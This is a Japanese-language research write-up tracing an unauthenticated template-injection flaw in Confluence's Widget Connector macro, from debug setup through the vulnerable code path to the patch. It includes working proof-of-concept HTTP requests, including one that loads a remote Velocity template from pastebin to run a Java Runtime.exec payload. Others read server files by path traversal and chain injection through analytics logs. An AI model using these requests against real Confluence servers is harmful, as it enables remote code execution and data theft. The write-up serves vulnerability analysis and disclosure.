
Confluence 未認可テンプレートインジェクション
./confluence/WEB-INF/classes/confluence-init.properties ファイル内の confluence.home の値を Confluence ホームのパスに変更しますCATALINA_OPTS を追加しますWindows の場合、./bin/setenv.bat ファイル:
set CATALINA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
Linux の場合、./bin/setenv.sh ファイル:
CATALINA_OPTS="-Xrunjdwp:transport=dt_socket,suspend=n,server=y,address=5005 ${CATALINA_OPTS}"
Remote JVM Debug を作成し、host と port を localhost:5005 に設定し、Command line arguments for remote JVM を以下のように設定します:-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
$ su - postgres
postgres@ubuntu:~$ psql -U postgres
postgres@ubuntu:~$ psql -U postgres
psql (10.6 (Ubuntu 10.6-0ubuntu0.18.04.1))
Type "help" for help.
postgres=# CREATE USER wiki WITH PASSWORD 'wiki';
CREATE ROLE
postgres=# CREATE DATABASE wiki OWNER wiki;
CREATE DATABASE
postgres=# GRANT ALL PRIVILEGES ON DATABASE jira TO wiki;
GRANT
デバッグ時に必要なソースを表示するために、以下の jar を lib に追加する必要があります: ./confluence/WEB-INF/atlassian-bundled-plugins/widgetconnector-x.x.x.jar、./confluence/WEB-INF/lib/confluence-x.x.x.jar、./confluence/WEB-INF/lib/velocity-x.x.x-atlassian-x.jar
./bin/start-confluence.bat を実行します。ソースからインストールする場合は、このガイド も参照してください。
説明を読んだ後、このバグが Widget Connector 機能から始まることがわかるので、すぐに Google でこの機能が何であるか、そしてどのように使用するかを調べました:
ページを編集します

その他のマクロを選択
Widget connector を選択

適当にパラメータを選択してプレビューをクリックし、その後 Burp に切り替えて何か面白いものがないか確認しました。

このパケットの中で、"pluginKey":"com.atlassian.confluence.extra.widgetconnector" というパラメータを見つけました。したがって、Widget Connector 機能がクラス com.atlassian.confluence.extra.widgetconnector で定義されていると推測し、パス内で怪しい jar パッケージを探しました。

ソースコードを読んでデバッグできるように、./confluence/WEB-INF/atlassian-bundled-plugins/widgetconnector-x.x.x.jar をプロジェクトの lib に追加してみました。
jar ファイルを lib に追加する方法
widgetconnector パッケージを開くと、WidgetMacro クラスに興味を持ったので、このクラスのコンストラクタと execute メソッドにブレークポイントを設定し、Preview 機能を使用したときにこのクラスが呼び出されるかどうかを確認しました 🕵️

execute メソッドが呼び出され、その後プログラムは DefaultRenderManager.getEmbeddedHtml を呼び出します。

if ブロックに入るには、widgetRenderer.matches(url) 条件を満たす必要があることがわかります。そこで、YoutubeRenderer クラスの widgetRenderer.matches(url) メソッドを確認します。


したがって、url パラメータを YouTube(または Vimeo、Twitter など)の動画 URL にする必要があります。任意の YouTube 動画の URL を url に設定すると、プログラムは if 文に入り、その後 widgetRenderer.getEmbeddedHtml(url, params) メソッド(YoutubeRenderer クラス)を呼び出します。

プログラムは setDefaultParam メソッドにジャンプします。ここで、隠しパラメータ _template を見つけました。怪しいです :)

setDefaultParam メソッドを抜けた後、プログラムは DefaultVelocityRenderService.render メソッドを呼び出します。

次に getRenderedTemplate メソッドと VelocityUtils.getRenderedTemplate(String templateName, Map<?, ?> contextMap) メソッドに進みます。


さらに VelocityUtils.getRenderedTemplate(String templateName, Context context) と getRenderedTemplateWithoutSwallowingErrors(templateName, context) に進みます。

renderTemplateWithoutSwallowingErrors メソッド

プログラムは getTemplate メソッドを呼び出し、次に VelocityEngine.getTemplate と RuntimeInstance.getTemplate を呼び出します。ここで、プログラムが getResource メソッドを呼び出しており、その入力パラメータが _template パラメータの値であることがわかります。Java では、getResource メソッドはローカルファイルまたはインターネット上のファイル(HTTP 経由)をリソースとして読み込むために使用できます。
立ち止まって考えてみます:これは、攻撃者がリクエストに _template パラメータを追加することで、(ローカルサーバーまたは攻撃者のホストから)任意のテンプレートをプログラムに注入できることを意味するのでしょうか?

テンプレートを取得した後のプログラムの処理を確認するために、トレースを続けます:
テンプレートを取得した後、プログラムは VelocityUtils.renderTemplateWithoutSwallowingErrors(template, context, writer); を呼び出します。

その後、template.merge(context, writer); に進みます。
public void merge(Context context, Writer writer, List macroLibraries) throws ResourceNotFoundException, ParseErrorException, MethodInvocationException {
if (this.errorCondition != null) {
throw this.errorCondition;
} else if (this.data == null) {
String msg = "Template.merge() failure. The document is null, most likely due to parsing error.";
throw new RuntimeException(msg);
} else {
InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context);
ica.setMacroLibraries(macroLibraries);
if (macroLibraries != null) {
for(int i = 0; i < macroLibraries.size(); ++i) {
try {
this.rsvc.getTemplate((String)macroLibraries.get(i));
} catch (ResourceNotFoundException var17) {
this.rsvc.getLog().error("template.merge(): cannot find template " + (String)macroLibraries.get(i));
throw var17;
} catch (ParseErrorException var18) {
this.rsvc.getLog().error("template.merge(): syntax error in template " + (String)macroLibraries.get(i) + ".");
throw var18;
} catch (Exception var19) {
throw new RuntimeException("Template.merge(): parse failed in template " + (String)macroLibraries.get(i) + ".", var19);
}
}
}
if (this.provideScope) {
ica.put(this.scopeName, new Scope(this, ica.get(this.scopeName)));
}
try {
ica.pushCurrentTemplateName(this.name);
ica.setCurrentResource(this);
((SimpleNode)this.data).render(ica, writer); ### POC có thể được render ở đây ###
} catch (StopCommand var20) {
if (!var20.isFor(this)) {
throw var20;
}
if (this.rsvc.getLog().isDebugEnabled()) {
this.rsvc.getLog().debug(var20.getMessage());
}
} catch (IOException var21) {
throw new VelocityException("IO Error rendering template '" + this.name + "'", var21);
} finally {
ica.popCurrentTemplateName();
ica.setCurrentResource((Resource)null);
if (this.provideScope) {
Object obj = ica.get(this.scopeName);
if (obj instanceof Scope) {
Scope scope = (Scope)obj;
if (scope.getParent() != null) {
ica.put(this.scopeName, scope.getParent());
} else if (scope.getReplaced() != null) {
ica.put(this.scopeName, scope.getReplaced());
} else {
ica.remove(this.scopeName);
}
}
}
}
}
}
SimpleNode.render を呼び出していることがわかります。このメソッドは Velocity テンプレートを使用してテンプレートを解析します。ここで RCE の PoC を書けることがわかります:Preview 機能をリクエストする際の POST リクエストパケット
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: localhost:8090
Cookie: seraph.confluence=; JSESSIONID=
Connection: close
{
"contentId":"622594",
"macro": {
"name":"widget",
"body":"","params": {
"url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
"width":"10",
"height":"10",
"_template":"https://pastebin.com/raw/JPEpiuLG"
}
}
}
ペイロードファイル
#set($x="x")
$x.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")

WidgetMacro: execute
-> DefaultRenderManager: getEmbeddedHtml
-> YoutubeRenderer: getEmbeddedHtml
-> DefaultVelocityRenderService: render -> getRenderedTemplate
-> (confluence-6.12.2.jar) VelocityUtils: getRenderedTemplate -> getRenderedTemplate -> getRenderedTemplateWithoutSwallowingErrors -> renderTemplateWithoutSwallowingErrors -> getTemplate -> getVelocityEngine
-> VelocityEngine: getTemplate
-> RuntimeInstance: getResource
-> (confluence-6.12.2.jar) VelocityUtils: renderTemplateWithoutSwallowingErrors
-> Template: merge
=> SimpleNode: render
これでこのバグの PoC は成功しましたが、ターゲットがアウトバウンド接続をブロックしているサーバーの場合、攻撃者はインターネットからリソースを取得できず、サーバーのローカルファイルのみをリソースとして取得できます。
あるヒントを得ました。何らかの方法でユーザーがログファイルにペイロードを注入できるというものです。これは良いアイデアなので、すぐに方法を考え始めました。
./shared-home/analytics-logs/ にあるログファイルを見ると、クライアント側から送信されたと思われるいくつかのおなじみのキーと値があることに気づきました。
POST /rest/analytics/1.0/publish/bulk パケットが上記のようなキーと値を送信していることを確認しました。[{"name":"browser.metrics.navigation",
"properties":{
"apdex":"0.5",
"firstPaint":"528",
"isInitial":"true",
"journeyId":"9e60e71a-8ebe-478c-a638-ee9423f5798f",
"key":"confluence.dashboard.view",
"navigationType":"0",
"readyForUser":"1117",
"redirectCount":"0",
"resourceLoadedEnd":"499",
"resourceLoadedStart":90.35499999299645,
"threshold":"1000",
"unloadEventStart":"47",
"unloadEventEnd":"47",
"fetchStart":"25",
"domainLookupStart":"25",
"domainLookupEnd":"25",
"connectStart":"25",
"connectEnd":"25",
"requestStart":"27",
"responseStart":"28",
"responseEnd":"37",
"domLoading":"52",
"domInteractive":"538",
"domContentLoadedEventStart":"538",
"domContentLoadedEventEnd":"691",
"domComplete":"1176",
"loadEventStart":"1176",
"loadEventEnd":"1176",
"userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36",
"pageEnd":"531",
"isBigPipeEnabled":"false",
"serverDuration":"339",
"requestCorrelationId":"36006c54d2919ecd",
"resourceTiming":"{\"☠\":[\"2,2i,2i,,,2i,,2i,2i,2i\",\"2,2i,31,2m,2k,2i,,2i,2i,2i\",\"2,2j,31,2m,2l,2j,,2j,2j,2j\",\"3,2l,2l,,,2l,,2l,2l,2l\",\"3,2l,2l,,,2l,,2l,2l,2l\",\"3,2m,2m,,,2m,,2m,2m,2m\",\"3,2n,2n,,,2n,,2n,2n,2n\",\"5,bz,cv,cv,c0,bz,,bz,bz,bz\",\"4,d6,d6,,,d6,,d6,d6,d6\",\"4,d7,d7,,,d7,,d7,d7,d7\",\"3,dq,dv,dr,dq,dq,,dq,dq,dq\",\"4,ej,ej,,,ej,,ej,ej,ej\",\"4,ej,ej,,,ej,,ej,ej,ej\",\"4,er,er,,,er,,er,er,er\",\"5,fl,fn,fn,fm,fl,,fl,fl,fl\",\"5,g9,ha,h9,gb,g9,,g9,g9,g9\",\"4,hv,hv,,,hv,,hv,hv,hv\",\"4,hv,hv,,,hv,,hv,hv,hv\",\"4,ik,ik,,,ik,,ik,ik,ik\",\"4,ik,ik,,,ik,,ik,ik,ik\",\"4,il,il,,,il,,il,il,il\",\"5,h4,ta,t0,pl,pk,,h6,h4,h4\"]}",
"userTimingRaw":"{\"marks\":{},\"measures\":{}}","experiments":"[]"},"timeDelta":-5176
}]
resourceTiming の値は自由に編集でき、そのままログに記録されることがわかりました。
./confluence/WEB-INF/classes/confluence-init.properties ファイルを読み取って Confluence ホームの場所を特定できます。POST /rest/tinymce/1/macro/preview HTTP/1.1
{
"contentId":"1507329",
"macro":{
"name":"widget",
"body":"",
"params":{
"url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
"_template":"/../../WEB-INF/classes/confluence-init.properties",
"width":"11",
"height":"11"
}
}
}
POST /rest/tinymce/1/macro/preview HTTP/1.1
{
"contentId":"1507329",
"macro":{
"name":"widget",
"body":"",
"params":{
"url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
"_template":"file:C://Users/XXXXX...XXXXX/.confluence/shared-home/analytics-logs/bd0f2792fe0234be516b843e25d54a14.515465381.atlassian-analytics.log",
"width":"11",
"height":"11"
}
}
}
パッチでは、WidgetMacro クラスに doSanitizeParameters メソッドが追加され、renderManager.getEmbeddedHtml(url, parameters); を呼び出す前に _template パラメータを削除するようになりました。
